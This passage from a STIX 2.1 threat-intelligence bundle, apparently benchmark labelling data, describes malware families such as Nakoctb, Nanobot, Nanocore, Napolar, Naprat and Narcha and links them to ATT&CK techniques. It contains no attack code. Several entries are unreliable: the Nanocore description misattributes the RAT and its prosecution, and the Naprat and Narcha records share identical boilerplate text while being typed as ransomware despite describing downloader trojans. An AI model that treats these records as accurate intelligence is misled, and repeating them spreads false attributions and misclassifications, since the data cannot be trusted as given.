      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nagram exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a56311e7-4201-53e5-ae7d-318ac62895d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nakoctb",
      "description": "Ransom:Win32/Nakoctb (frequently cataloged in security telemetry as naKocTb, Trojan:Win32/Nakoctb, or Trojan-Ransom.Win32.Nakoctb) is a notorious Windows screenlocker and extortion ransomware family named after the Russian term for 'nuisance' or 'malicious harm' (\u043f\u0430\u043a\u043e\u0441\u0442\u044c). Rather than relying on cryptographic file encryption, classic Nakoctb variants hijack the desktop interface by disabling critical administrative utilities\u2014including Task Manager (taskmgr.exe), the Registry Editor (regedit.exe), and the Windows shell (explorer.exe). The ransomware presents an un-dismissible, full-screen extortion window that blocks user access to the desktop, falsely alleging illicit activity or copyright infringement and demanding ransom payment via premium SMS, digital vouchers, or cryptocurrency to provide an unlocking code. Modern strains also feature secondary downloader capabilities to fetch additional crimeware payloads. (Observed samples in benchmark: 134)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Nakoctb",
        "naKocTb",
        "Ransom:Win32/Nakoctb",
        "Trojan:Win32/Nakoctb",
        "Trojan-Ransom.Win32.Nakoctb",
        "Win32/Nakoctb",
        "Nakoctb Winlocker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nakoctb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nakoctb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20f167c0-97b5-5a1a-b0ff-2d499da65e06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a56311e7-4201-53e5-ae7d-318ac62895d9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nakoctb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f4a9d9a-ec03-5758-a0f2-57e3620507ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a56311e7-4201-53e5-ae7d-318ac62895d9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nakoctb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8eca17b-cd36-5f48-967a-41f5aaa77039",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a56311e7-4201-53e5-ae7d-318ac62895d9",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nakoctb exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e2d31ef-eee0-5be0-988f-9eb1827c65d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a56311e7-4201-53e5-ae7d-318ac62895d9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nakoctb exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--284a574c-3254-5966-91d5-96a25bc531a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a56311e7-4201-53e5-ae7d-318ac62895d9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nakoctb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a9f08b87-a6f1-5cdf-8d00-079b267654d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nanobot",
      "description": "Backdoor:Win32/Nanobot is a modular, lightweight Remote Access Trojan (RAT) and stage-two loader engineered with an extremely compact on-disk footprint (typically under 50 KB) specifically designed to evade heuristic scanning and static signature detection. Nanobot initializes execution by injecting its core into legitimate Windows processes (such as explorer.exe or svchost.exe), performing timing-based anti-analysis checks (including GetTickCount sleep acceleration detection) to verify that it is not running in an automated sandbox. Once verified, Nanobot opens an encrypted HTTPS command-and-control connection to receive dynamic second-stage DLL plugins directly into volatile memory\u2014delivering tailored capabilities such as reflective DLL loading, audio/keystroke interception, browser password theft, and proxy relaying without persisting auxiliary artifacts to disk. (Observed samples in benchmark: 306)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Nanobot",
        "Backdoor:Win32/Nanobot",
        "Trojan.Win32.Nanobot",
        "Win32/Nanobot",
        "Nanobot Loader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nanobot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nanobot"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24fd0791-982f-5008-9628-68e0bbb689ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9f08b87-a6f1-5cdf-8d00-079b267654d9",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanobot exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a73101a2-1045-5dd7-9ea9-33b110690ae8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9f08b87-a6f1-5cdf-8d00-079b267654d9",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanobot exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e66f2003-a23b-51c6-a816-982dfd5b51e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9f08b87-a6f1-5cdf-8d00-079b267654d9",
      "target_ref": "attack-pattern--ee167224-c3ac-5c79-bdf1-88c2f727429f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanobot exhibits technique T1573.001 (Symmetric Cryptography)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13029a96-3471-530a-b118-84ecaceb4b45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9f08b87-a6f1-5cdf-8d00-079b267654d9",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanobot exhibits technique T1497.001 (System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e60c04b-6e10-5ff7-876e-4b7454d2c0bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9f08b87-a6f1-5cdf-8d00-079b267654d9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanobot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83b53b19-185b-5a44-82cd-b6f7f4699497",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a9f08b87-a6f1-5cdf-8d00-079b267654d9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanobot exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46b135af-0659-5151-9ec0-9c41eccc4d4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nanocore",
      "description": "NanoCore is an extensively proliferated, modular .NET-based Remote Access Trojan (RAT) originally created in 2013 by software developer Zachary Shames of Great Falls, Virginia. Marketed as an affordable commercial administration tool on underground forums like HackForums, NanoCore was engineered with an extensible third-party plugin framework that allowed threat actors to weaponize it for credential theft, live audio/video surveillance, reverse proxying, and distributed denial-of-service.\n\nIn March 2017, the United States Department of Justice (Eastern District of Virginia) indicted Zachary Shames, who subsequently pleaded guilty to aiding and abetting computer intrusions by authoring, updating, and distributing NanoCore to thousands of purchasers worldwide who infected hundreds of thousands of victim endpoints. Despite Shames's conviction and sentencing in 2018, cracked and leaked versions of NanoCore (notably v1.2.2.0) continue to circulate heavily across cybercrime ecosystems and nation-state phishing campaigns, commonly delivered via weaponized Microsoft Office attachments exploiting CVE-2017-0199 and CVE-2017-11882. (Observed samples in benchmark: 2,400)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "NanoCore",
        "NanoCore RAT",
        "Win32/NanoCore",
        "Trojan.NanoCore"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nanocore",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nanocore"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdbabb54-6005-507d-9725-fd26ade61ffb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b135af-0659-5151-9ec0-9c41eccc4d4b",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanocore exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d644ba8f-1461-5352-89f6-ca0306789310",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b135af-0659-5151-9ec0-9c41eccc4d4b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanocore exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--febba550-af79-51d3-8a8c-75a48ab16cb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b135af-0659-5151-9ec0-9c41eccc4d4b",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanocore exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecb0b1b6-0ada-55aa-b057-c01ed4068e55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b135af-0659-5151-9ec0-9c41eccc4d4b",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanocore exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7529dd81-6982-56bd-b50f-2e8a278342b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b135af-0659-5151-9ec0-9c41eccc4d4b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanocore exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b166280-ff03-5f1a-a95f-59f2291d37cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46b135af-0659-5151-9ec0-9c41eccc4d4b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nanocore exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1da770ba-6b68-5483-93c1-d0c504f3a359",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Napolar",
      "description": "Trojan:Win32/Napolar (also widely tracked as Solarbot) is a highly sophisticated banking trojan and botnet client that gained prominence around 2013. It is designed to establish deep persistence, steal financial credentials via web-injects (`T1185`), launch Distributed Denial of Service (DDoS) attacks, and function as a modular platform for downloading additional payloads. Its sophisticated evasion techniques made it highly effective against traditional antivirus solutions.<br><br><b>Understanding Napolar (Advanced Botnets)</b><br>To an end-user, a Napolar infection is entirely invisible. For a security operations center (SOC), it is a critical threat indicating a complete loss of endpoint integrity. Napolar isn't just a credential stealer; it effectively turns the compromised host into a node in a global cybercriminal infrastructure, capable of launching attacks against third parties.<br><br><b>Execution and Evasion Mechanics</b><br>Napolar was distributed via exploit kits (like Blackhole) or malspam (`T1566.001`). Its defining characteristic is its aggressive defense evasion. Upon execution, it performs deep process injection (`T1055`), often utilizing advanced API unhooking techniques to bypass user-land EDR sensors. It injects into `explorer.exe` and web browser processes (Chrome, Firefox, IE). Once hooked into the browser, it performs form-grabbing and web-injects (`T1185`) to steal banking credentials as they are typed. It communicates with a Tor-hosted C2 server or uses DGA (Domain Generation Algorithms) (`T1568.002`) to receive commands, which may include downloading massive executable files to participate in HTTP/UDP flood DDoS attacks (`T1498`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the catastrophic theft of financial data and the endpoint being co-opted for DDoS operations. Host-based IoCs are subtle due to advanced injection, but memory analysis will reveal unsigned DLLs loaded into core system processes. EDR may catch anomalous API unhooking attempts. Network IoCs include the browser processes making unexpected connections to Tor exit nodes (if not configured to do so) or massive, sudden spikes in outbound UDP traffic indicative of a DDoS attack. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Napolar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/napolar"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c89de572-5068-5c00-b127-66bd36e0f4ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1da770ba-6b68-5483-93c1-d0c504f3a359",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Napolar exhibits technique T1185 (Browser Session Hijacking (Web-injects for credential theft))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--caff5846-bdac-5556-add9-26799041a08b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1da770ba-6b68-5483-93c1-d0c504f3a359",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Napolar exhibits technique T1055 (Process Injection (Advanced injection and API unhooking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf86547c-c1c9-5101-bed1-46beedab4f6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1da770ba-6b68-5483-93c1-d0c504f3a359",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Napolar exhibits technique T1498 (Network Denial of Service (Participating in botnet DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3ea891f-0b85-5272-9c45-7986b6383b24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1da770ba-6b68-5483-93c1-d0c504f3a359",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Napolar exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA for C2 resilience))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--540f5b8f-050f-53ea-853b-38aa882cf0f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Naprat",
      "description": "Trojan:Win32/Naprat is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Naprat</b><br>To an end-user, a Naprat infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Naprat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Naprat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Naprat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Naprat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Naprat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/naprat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84c64fd5-0bf8-5452-96b6-3cdd7e150853",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--540f5b8f-050f-53ea-853b-38aa882cf0f2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naprat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2e5a845-d7bf-5d4d-a951-d3b8a7a7f833",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--540f5b8f-050f-53ea-853b-38aa882cf0f2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naprat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0c9b35e-9fca-5b88-97a3-351f01a1fa02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--540f5b8f-050f-53ea-853b-38aa882cf0f2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naprat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adf64059-9fa1-5dc5-a7ca-ae066beed3dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--540f5b8f-050f-53ea-853b-38aa882cf0f2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naprat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d190ec0c-9d54-55f1-9b45-3add845bde08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--540f5b8f-050f-53ea-853b-38aa882cf0f2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Naprat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ef10fa5b-ad19-5572-9210-910e84e0eec6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Narcha",
      "description": "Trojan:Win32/Narcha is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Narcha</b><br>To an end-user, a Narcha infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Narcha is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Narcha is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Narcha frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Narcha reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Narcha",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/narcha"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dcc0f5d-423b-57ee-8345-35b84885c3db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef10fa5b-ad19-5572-9210-910e84e0eec6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Narcha exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2cde405-de4f-5027-8fd3-a8ef76387f5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef10fa5b-ad19-5572-9210-910e84e0eec6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Narcha exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--644305dd-3c7a-538f-b4a1-524d56d25c19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef10fa5b-ad19-5572-9210-910e84e0eec6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Narcha exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc20ee91-1979-58cc-811b-cf4ac3226a8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef10fa5b-ad19-5572-9210-910e84e0eec6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Narcha exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afa1d39e-86b0-54ca-835f-0c6791df5462",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef10fa5b-ad19-5572-9210-910e84e0eec6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Narcha exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--776a62c8-2835-53eb-b554-95fce125a283",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Navipromo",
